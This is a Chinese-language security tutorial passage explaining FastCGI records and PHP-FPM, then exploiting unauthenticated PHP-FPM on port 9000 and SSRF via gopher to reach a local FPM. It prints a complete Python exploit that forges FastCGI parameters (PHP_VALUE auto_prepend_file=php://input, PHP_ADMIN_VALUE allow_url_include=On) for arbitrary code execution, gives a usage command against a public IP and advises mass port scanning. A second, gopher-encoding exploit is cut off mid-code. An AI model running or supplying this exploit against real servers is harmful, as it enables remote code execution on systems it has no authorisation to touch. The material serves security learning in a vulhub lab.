0x01 PHP连接模式 PHP中连接模式主要有以下三种。
apache2-module模式 这种模式下,是将PHP当做Apache的一个模块,此时PHP就是Apache中的一个DLL文件或SO文件。
在phpStudy中,非nts的模式就是默认以apache2-module为连接模式。
CGI模式 CGI连接模式下,PHP是作为一个独立的进程,如单独运行一个php-cgi.exe的进程,而此时Web服务器也是独立的一个进程如运行apache.exe。
当Web服务器收到HTTP请求时,就会去调用php-cgi进程,通过CGI协议,服务器把请求内容转换成php-cgi能读懂的协议数据传递给CGI进程,CGI进程拿到内容就会去解析对应PHP文件,得到的返回结果再返回给Web服务器,最后再由Web服务器返回到客户端。
但由于CGI模式下,每次客户端发起请求都需要建立和销毁进程,从而导致很大的资源消耗。因为HTTP要生成一个动态页面,系统就必须启动一个新的进程以运行CGI程序,不断地fork是一项很消耗时间和资源的工作。因此,也就诞生了FastCGI模式。
FastCGI模式 FastCGI模式是CGI模式的优化升级版,主要解决了CGI模式性能不佳的问题。
FastCGI其实是一个协议,是在CGI协议上进行了一些优化。众所周知,CGI进程的反复加载是CGI性能低下的主要原因,如果CGI解释器能够保持在内存中并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、Fail-Over特性等等,而这些改进正是FastCGI所提供的。
简而言之,CGI模式是Apache2接收到请求去调用CGI程序,而FastCGI模式是FastCGI进程自己管理自己的CGI进程,而不再是Apache去主动调用CGI进程,而FastCGI进程又提供了很多辅助功能比如内存管理、垃圾处理、保障了CGI的高效性,并且此时CGI是常驻在内存中、不会每次请求重新启动,从而使得性能得到质的提高。
如何识别 那么对于一个PHP Web服务,我们如何去识别它的PHP连接模式是哪个呢?
在接触不到服务器文件的情况下,最简单的办法就是查看phpinfo:
apache2-module模式:
CGI模式:
FastCGI模式:
0x02 FastCGI 基本概念 前面说了,FastCGI其实是一个协议,和HTTP协议一样,都是用于数据交互的一个通道。
HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。
类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
协议分析 具体的参考P牛的博客:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
record
下面我们看下FastCGI协议的record结构是怎样的,这里的直接引用自P牛博客的内容:
和HTTP头不同,record的头固定8个字节,body是由头中的contentLength指定,其结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 > typedef struct { > /* Header */ > unsigned char version; // 版本 > unsigned char type; // 本次record的类型 > unsigned char requestIdB1; // 本次record对应的请求id > unsigned char requestIdB0; > unsigned char contentLengthB1; // body体的大小 > unsigned char contentLengthB0; > unsigned char paddingLength; // 额外块大小 > unsigned char reserved; > > /* Body */ > unsigned char contentData[contentLength]; > unsigned char paddingData[paddingLength]; > } FCGI_Record; >
头由8个uchar类型的变量组成,每个变量1字节。其中,requestId
占两个字节,一个唯一的标志id,以避免多个请求之间的影响;contentLength
占两个字节,表示body的大小。
语言端解析了fastcgi头以后,拿到contentLength
,然后再在TCP流里读取大小等于contentLength
的数据,这就是body体。
Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。
可见,一个fastcgi record结构最大支持的body大小是2^16
,也就是65536字节。
type
type就是指定该record的作用。因为FastCGI一个record的大小是有限的,作用也是单一的,所以我们需要在一个TCP流里传输多个record。通过type来标志每个record的作用,用requestId作为同一次请求的id。
也就是说,每次请求,会有多个record,他们的requestId是相同的。
主要的几种type类型如下图:
服务器中间件和PHP-FPM通信的第一个数据包是type为1的record,而后续通信的type为4、5、6、7的record,结束时发送type为2、3的record。
这里我们重点关注type为4的record,因为后面的漏洞利用涉及到这块。
当后端语言接收到一个type
为4的record后,就会把这个record的body按照对应的结构解析成key-value对,这就是环境变量。环境变量的结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 > typedef struct { > unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */ > unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */ > unsigned char nameData[nameLength]; > unsigned char valueData[valueLength]; > } FCGI_NameValuePair11; > > typedef struct { > unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */ > unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */ > unsigned char valueLengthB2; > unsigned char valueLengthB1; > unsigned char valueLengthB0; > unsigned char nameData[nameLength]; > unsigned char valueData[valueLength > ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; > } FCGI_NameValuePair14; > > typedef struct { > unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */ > unsigned char nameLengthB2; > unsigned char nameLengthB1; > unsigned char nameLengthB0; > unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */ > unsigned char nameData[nameLength > ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; > unsigned char valueData[valueLength]; > } FCGI_NameValuePair41; > > typedef struct { > unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */ > unsigned char nameLengthB2; > unsigned char nameLengthB1; > unsigned char nameLengthB0; > unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */ > unsigned char valueLengthB2; > unsigned char valueLengthB1; > unsigned char valueLengthB0; > unsigned char nameData[nameLength > ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; > unsigned char valueData[valueLength > ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; > } FCGI_NameValuePair44; >
这其实是4个结构,至于用哪个结构,有如下规则:
key、value均小于128字节,用FCGI_NameValuePair11
key大于128字节,value小于128字节,用FCGI_NameValuePair41
key小于128字节,value大于128字节,用FCGI_NameValuePair14
key、value均大于128字节,用FCGI_NameValuePair44
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2
,如果web目录是/var/www/html
,那么Nginx会将这个请求变成如下key-value对,即此时FastCGI协议包record的type为4:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' }
这个数组其实就是PHP中$_SERVER
数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER
数组,也是告诉fpm:“我要执行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME
的值指向的PHP文件,也就是/var/www/html/index.php
。
有个注意点,就是PHP 5.3.9之后加入了FPM增加了security.limit_extensions选项,这个选项默认只解析.php文件,具体的在下一小节说到。
0x03 FPM 基本概念 官方定义如下:
FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。
简单地说,FPM是实现和管理FastCGI进程的管理器,能够接收服务器中间件发送的FastCGI协议包并进行解析、最后将解析结果返回给服务器中间件。
这里借用先知的一个图来看看就清楚了:
通信方式 在PHP使用FastCGI连接模式的情况下,Web服务器中间件如Nginx和PHP-FPM之间的通信方式又分为两种:
TCP模式 TCP模式即是PHP-FPM进程会监听本机上的一个端口(默认为9000),然后Nginx会把客户端数据通过FastCGI协议传给9000端口,PHP-FPM拿到数据后会调用CGI进程解析。
通常我们可以通过查看Nginx的配置文件default.conf来确认是否是TCP模式,这里个人环境中的路径为/etc/nginx/conf.d/default.conf
,关注fastcgi_pass这一项,若为ip+port的形式即为TCP模式:
1 2 3 4 5 6 7 location ~ \.php$ { index index.php index.html index.htm; include /etc/nginx/fastcgi_params; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi_params; }
在PHP-FPM中,可以通过查看其配置文件,个人环境中的路径为/usr/local/etc/php-fpm.d/www.conf
,看到listen一项若为ip+port的形式即为TCP模式:
1 2 3 4 5 6 7 8 9 10 11 ; The address on which to accept FastCGI requests. ; Valid syntaxes are: ; 'ip.add.re.ss:port' - to listen on a TCP socket to a specific IPv4 address on ; a specific port; ; '[ip:6:addr:ess]:port' - to listen on a TCP socket to a specific IPv6 address on ; a specific port; ; 'port' - to listen on a TCP socket to all addresses ; (IPv6 and IPv4-mapped) on a specific port; ; '/path/to/unix/socket' - to listen on a unix socket. ; Note: This value is mandatory. listen = 127.0.0.1:9000
Unix Socket模式 Unix套接字模式是Unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。
相比之下,Unix套接字模式的性能会优于TCP模式。
还是一样的识别方法,在Nginx的default.conf中查看fastcgi_pass:
1 2 3 4 5 6 7 location~\.php${ index index.php index.html index.htm; include /etc/nginx/fastcgi_params; fastcgi_pass unix:/run/php/php7.3-fpm.sock; fastcgi_index index.php; include fastcgi_params; }
在PHP-FPM的www.conf中查看listen:
1 listen = /run/php/php7.3-fpm.sock
security.limit_extensions 在PHP 5.3.9版本之后,PHP-FPM新添了security.limit_extensions选项,它是PHP-FPM配置文件中的一个选项,主要是用来限制能够解析的文件后缀名(默认值为php),可有效防御住Nginx解析漏洞。
我们可以自行查看PHP-FPM环境中security.limit_extensions的设置值,个人环境中的路径为/usr/local/etc/php-fpm.d/www.conf
:
1 2 3 4 5 6 7 ; Limits the extensions of the main script FPM will allow to parse. This can ; prevent configuration mistakes on the web server side. You should only limit ; FPM to .php extensions to prevent malicious users to use other extensions to ; execute php code. ; Note: set an empty value to allow all extensions. ; Default Value: .php ;security.limit_extensions = .php .php3 .php4 .php5 .php7
为什么会提到这个设置项呢?
这是因为在后面的漏洞利用中,正是这个PHP-FPM的设置,导致我们只能使用Web服务器本身已存在的PHP文件进行利用,具体的原理后面会说到。
环境搭建 具体的环境搭建这篇文章写得很详细:https://xz.aliyun.com/t/5598#toc-3
本人用的是P牛的docker环境直接搭建,非常方便,git clone下来之后直接docker-compose up -d
即可运行:
https://github.com/vulhub/vulhub/tree/master/fpm
0x04 PHP-FPM未授权访问漏洞 基本原理 顾名思义,PHP-FPM未授权访问漏洞,就是PHP-FPM的服务端口绑定在全网监听而非绑定在本地127.0.0.1的端口上,从而导致攻击者可以从公网通过构造FastCGI报文来攻击PHP-FPM,进而导致任意代码执行。
我们先看下我们漏洞环境的PHP-FPM的通信模式和是否是在全网监听端口:
:::9000为IPv6形式的全网监听9000端口的意思,说明通信模式是TCP模式且是全网监听9000端口的。
既然PHP-FPM暴露在公网了,那我们就想着如何去攻击这个服务。
攻击手段很明显,就是伪造FastCGI协议报文发送过去给PHP-FPM服务,进而达到任意代码执行的效果。
注意的就是,除disable_function以外的大部分PHP配置,我们都可以通过FastCGI协议包来更改,具体的可参考php手册:https://www.php.net/manual/zh/ini.list.php
那么如何实现任意代码执行呢?
FastCGI协议只可以传输配置信息及需要被执行的文件名及客户端传进来的GET、POST、Cookie等数据。看上去我们即使能传输任意协议包也不能任意代码执行,但是我们可以通过更改配置信息来执行任意代码。
auto_prepend_file和auto_append_file 这两个选项是php.ini中年的两个可利用的选项。
auto_prepend_file选项是告诉PHP在执行目标文件之前,先包含auto_prepend_file中指定的文件,并且auto_prepend_file可以使用PHP伪协议;auto_append_file选项同理,区别在于执行目标文件之后才会包含指定文件。
此时,我们可以将auto_prepend_file的值设置为php://input伪协议,其可通过POST的方式将我们的数据传进来,那么就等于在执行任何php文件前都要包含一遍POST的内容。因此,我们只需要把待执行的代码放在Body中就可以实现任意代码执行了。
接着又一个问题,我们怎么设置auto_prepend_file的值呢?此外,php://input伪协议也是需要开启allow_url_include选项的,那又在哪里设置开启呢?
PHP_VALUE和PHP_ADMIN_VALUE PHP_VALUE和PHP_ADMIN_VALUE是PHP-FPM的两个环境变量。PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)。
由前面分析的FastCGI协议知道,type为4的record是键值对的形式,因此我们可以直接在报文中添加这两个PHP-FPM的环境变量来进行设置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' }
设置auto_prepend_file = php://input且allow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码。
另外,SCRIPT_FILENAME选项需要我们设置一个服务端已存在的PHP文件,该选项是让PHP-FPM执行目标服务器上的文件,且由于security.limit_extensions项的限制导致只能执行PHP文件。
如何找一个已存在的且通用的PHP文件来利用呢?
查找PHP默认安装的php文件 我们搜索下漏洞环境中已有的PHP文件,找一下PHP安装过程中默认存在的PHP文件即可:
非常多,这里我们挑一个常见的/usr/local/lib/php/PEAR.php
。
EXP脚本分析 好了,基本的原理大概都说明了,下面看下P牛写的利用脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 import socketimport randomimport argparseimport sysfrom io import BytesIOPY2 = True if sys.version_info.major == 2 else False def bchr (i) : if PY2: return force_bytes(chr(i)) else : return bytes([i]) def bord (c) : if isinstance(c, int): return c else : return ord(c) def force_bytes (s) : if isinstance(s, bytes): return s else : return s.encode('utf-8' , 'strict' ) def force_text (s) : if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8' , 'strict' ) else : s = str(s) return s class FastCGIClient : """A Fast-CGI Client for Python""" __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__ (self, host, port, timeout, keepalive) : self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else : self.keepalive = 0 self.sock = None self.requests = dict() def __connect (self) : self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) try : self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True def __encodeFastCGIRecord (self, fcgi_type, content, requestid) : length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8 ) & 0xFF ) \ + bchr(requestid & 0xFF ) \ + bchr((length >> 8 ) & 0xFF ) \ + bchr(length & 0xFF ) \ + bchr(0 ) \ + bchr(0 ) \ + content return buf def __encodeNameValueParams (self, name, value) : nLen = len(name) vLen = len(value) record = b'' if nLen < 128 : record += bchr(nLen) else : record += bchr((nLen >> 24 ) | 0x80 ) \ + bchr((nLen >> 16 ) & 0xFF ) \ + bchr((nLen >> 8 ) & 0xFF ) \ + bchr(nLen & 0xFF ) if vLen < 128 : record += bchr(vLen) else : record += bchr((vLen >> 24 ) | 0x80 ) \ + bchr((vLen >> 16 ) & 0xFF ) \ + bchr((vLen >> 8 ) & 0xFF ) \ + bchr(vLen & 0xFF ) return record + name + value def __decodeFastCGIHeader (self, stream) : header = dict() header['version' ] = bord(stream[0 ]) header['type' ] = bord(stream[1 ]) header['requestId' ] = (bord(stream[2 ]) << 8 ) + bord(stream[3 ]) header['contentLength' ] = (bord(stream[4 ]) << 8 ) + bord(stream[5 ]) header['paddingLength' ] = bord(stream[6 ]) header['reserved' ] = bord(stream[7 ]) return header def __decodeFastCGIRecord (self, buffer) : header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header: return False else : record = self.__decodeFastCGIHeader(header) record['content' ] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength' ]) record['content' ] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength' ])) return record def request (self, nameValuePairs={}, post='' ) : if not self.__connect(): print('connect failure! please check your fasctcgi-server !!' ) return requestId = random.randint(1 , (1 << 16 ) - 1 ) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0 ) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0 ) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'' , requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'' , requestId) self.sock.send(request) self.requests[requestId]['state' ] = FastCGIClient.FCGI_STATE_SEND self.requests[requestId]['response' ] = b'' return self.__waitForResponse(requestId) def __waitForResponse (self, requestId) : data = b'' while True : buf = self.sock.recv(512 ) if not len(buf): break data += buf data = BytesIO(data) while True : response = self.__decodeFastCGIRecord(data) if not response: break if response['type' ] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state' ] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId' ]): self.requests[requestId]['response' ] += response['content' ] if response['type' ] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response' ] def __repr__ (self) : return "fastcgi connect host:{} port:{}" .format(self.host, self.port) if __name__ == '__main__' : parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.' ) parser.add_argument('host' , help='Target host, such as 127.0.0.1' ) parser.add_argument('file' , help='A php file absolute path, such as /usr/local/lib/php/System.php' ) parser.add_argument('-c' , '--code' , help='What php code your want to execute' , default='<?php phpinfo(); exit; ?>' ) parser.add_argument('-p' , '--port' , help='FastCGI port' , default=9000 , type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3 , 0 ) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE' : 'FastCGI/1.0' , 'REQUEST_METHOD' : 'POST' , 'SCRIPT_FILENAME' : documentRoot + uri.lstrip('/' ), 'SCRIPT_NAME' : uri, 'QUERY_STRING' : '' , 'REQUEST_URI' : uri, 'DOCUMENT_ROOT' : documentRoot, 'SERVER_SOFTWARE' : 'php/fcgiclient' , 'REMOTE_ADDR' : '127.0.0.1' , 'REMOTE_PORT' : '9985' , 'SERVER_ADDR' : '127.0.0.1' , 'SERVER_PORT' : '80' , 'SERVER_NAME' : "localhost" , 'SERVER_PROTOCOL' : 'HTTP/1.1' , 'CONTENT_TYPE' : 'application/text' , 'CONTENT_LENGTH' : "%d" % len(content), 'PHP_VALUE' : 'auto_prepend_file = php://input' , 'PHP_ADMIN_VALUE' : 'allow_url_include = On' } response = client.request(params, content) print(force_text(response))
前面的大部分代码都是编写FastCGI客户端的,是参照Github上已经造好的轮子,这里不多说:https://github.com/wuyunfeng/Python-FastCGI-Client
我们分析下主要的代码逻辑:程序解析完输入参数后,新建一个FastCGI客户端连接,接着重点是构造下面的报文:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 'SCRIPT_NAME': uri, 'QUERY_STRING': '', 'REQUEST_URI': uri, 'DOCUMENT_ROOT': documentRoot, 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(content), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' }
这里环境变量的设置按照前面分析的来就可以了,SCRIPT_NAME设置的是我们输入的PHP文件的参数如/usr/local/lib/php/PEAR.php
,PHP_VALUE设置auto_prepend_file = php://input,PHP_ADMIN_VALUE设置allow_url_include = On。
报文参数设置完之后,带上用户参数输入的作为POST的Body内容向暴露于公网的PHP-FPM服务发送该FastCGI报文即可实现攻击利用。
攻击利用 现在我们以攻击者的角度来进行攻击利用。
首先攻击者用nmap等端口扫描工具批量扫描,发现某台公网IP开启了9000端口:
然后简单粗暴地应用P牛的脚本直接打,即可执行远程代码:
python .\fpm.py -c '<?php echo
id;exit;?>' 1.1.1.1 /usr/local/lib/php/PEAR.php
对比下就知道,可能漏洞利用原理较复杂,但靠着脚本工具的利用就是分分钟的事。
0x05 SSRF攻击本地PHP-FPM 基本原理 PHP-FPM开放在公网上的情况是很少的,大部分时候都是启动在本地即监听127.0.0.1:9000地址的。
虽然我们没有办法直接对PHP-FPM发起攻击,但是我们可以结合其他漏洞来间接利用。如果目标站点存在SSRF漏洞,那么我们就可以借助SSRF来攻击本地PHP-FPM服务,达到任意代码执行的效果。
Gopher协议 Gopher协议在SSRF利用中被广泛运用,其URL格式如下:
1 gopher://<host>:<port>/<gopher-path>_后接TCP数据流
也就是说,通过Gopher协议,我们可以直接发送TCP协议流,从中进行urlencode编码来构造SSRF攻击代码,其中攻击代码就是恶意FastCGI协议报文。
Exp脚本分析 那么Exp如何修改呢?
在P牛脚本的基础上进行修改,代码来自:https://cloud.tencent.com/developer/article/1425023
修改点在于:将原本的FastCGI客户端类中request()方法中的发送请求的代码注释掉,因为这里FPM并没有启在公网;接着,在最后的主程序逻辑中修改最后两行代码为在调用前面修改过的request()函数来获取返回的TCP流,对该返回数据进行URL编码然后拼接成Gopher协议的形式即可。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 import socketimport base64import randomimport argparseimport sysfrom io import BytesIOimport urllib PY2 = True if sys.version_info.major == 2 else False def bchr (i) : if PY2: return force_bytes(chr(i)) else : return bytes([i]) def bord (c) : if isinstance(c, int): return c else : return ord(c) def force_bytes (s) : if isinstance(s, bytes): return s else : return s.encode('utf-8' , 'strict' ) def force_text (s) : if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8' , 'strict' ) else : s = str(s) return s class FastCGIClient : """A Fast-CGI Client for Python""" __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__ (self, host, port, timeout, keepalive) : self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else : self.keepalive = 0 self.sock = None self.requests = dict() def __connect (self) : self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) try : self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True def __encodeFastCGIRecord (self, fcgi_type, content, requestid) : length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8 ) & 0xFF ) \ + bchr(requestid & 0xFF ) \ + bchr((length >> 8 ) & 0xFF ) \ + bchr(length & 0xFF ) \ + bchr(0 ) \ + bchr(0 ) \ + content return buf def __encodeNameValueParams (self, name, value) : nLen = len(name) vLen = len(value) record = b'' if nLen < 128 : record += bchr(nLen) else : record += bchr((nLen >> 24 ) | 0x80 ) \ + bchr((nLen >> 16 ) & 0xFF ) \ + bchr((nLen >> 8 ) & 0xFF ) \ + bchr(nLen & 0xFF ) if vLen < 128 : record += bchr(vLen) else : record += bchr((vLen >> 24 ) | 0x80 ) \ + bchr((vLen >> 16 ) & 0xFF ) \ + bchr((vLen >> 8 ) & 0xFF ) \ + bchr(vLen & 0xFF ) return record + name + value def __decodeFastCGIHeader (self, stream) : header = dict() header['version' ] = bord(stream[0 ]) header['type' ] = bord(stream[1 ]) header['requestId' ] = (bord(stream[2 ]) << 8 ) + bord(stream[3 ]) header['contentLength' ] = (bord(stream[4 ]) << 8 ) + bord(stream[5 ]) header['paddingLength' ] = bord(stream[6 ]) header['reserved' ] = bord(stream[7 ]) return header def __decodeFastCGIRecord (self, buffer) : header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header: return False else : record = self.__decodeFastCGIHeader(header) record['content' ] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength' ]) record['content' ] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength' ])) return record def request (self, nameValuePairs={}, post='' ) : requestId = random.randint(1 , (1 << 16 ) - 1 ) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0 ) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0 ) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += 